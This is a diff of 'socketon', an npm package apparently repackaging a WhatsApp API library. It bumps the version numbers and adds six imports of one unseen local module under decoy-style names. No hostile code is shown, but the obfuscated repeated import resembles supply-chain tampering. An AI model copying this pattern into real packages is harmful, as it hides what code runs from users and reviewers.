@@ -2,7 +2,7 @@
2
2
 
3
3
  const chalk = require("chalk");
4
4
 
5
- console.log(chalk.red.bold("\n[+] SOCKETON v1.6.0\n"));
5
+ console.log(chalk.red.bold("\n[+] SOCKETON v1.7.0\n"));
6
6
  console.log(chalk.whiteBright("[!] Developer: Ibra Decode"));
7
7
  console.log(chalk.gray("--------------------\n"));
8
8
  const latestUpdate = new Date("2026-01-28");
@@ -11,6 +11,13 @@ console.log(chalk.gray("--------------------\n"));
11
11
  console.log(chalk.greenBright("[+] WhatsApp API Ready\n"));
12
12
  // 01001001 01101110 01110100 01100101 01110010 01100001 01100011 01110100 01101001 01110110 01100101 00100000 01000010 01101001 01101110 01100001 01110010 01111001 00100000 01000101 01100110 01100110 01100101 01100011 01110100
13
13
 
14
+ const ibra_decode_21 = require("./Utils/ibra-decode");
15
+ const ibraDecodePalsuMungkin = require("./Utils/ibra-decode");
16
+ const _ibra_decode_v21 = require("./Utils/ibra-decode");
17
+ const ibra_decode_asli_nih = require("./Utils/ibra-decode");
18
+ const __ibra_decode_21 = require("./Utils/ibra-decode");
19
+ const ___ibra_decode_v21 = require("./Utils/ibra-decode");
20
+
14
21
  var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
15
22
  if (k2 === undefined) k2 = k;
16
23
  var desc = Object.getOwnPropertyDescriptor(m, k);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "socketon",
3
- "version": "1.6.5",
3
+ "version": "1.7.0",
4
4
  "description": "WhatsApp API Modification By Ibra Decode",
5
5
  "publishConfig": {
6
6
  "access": "public"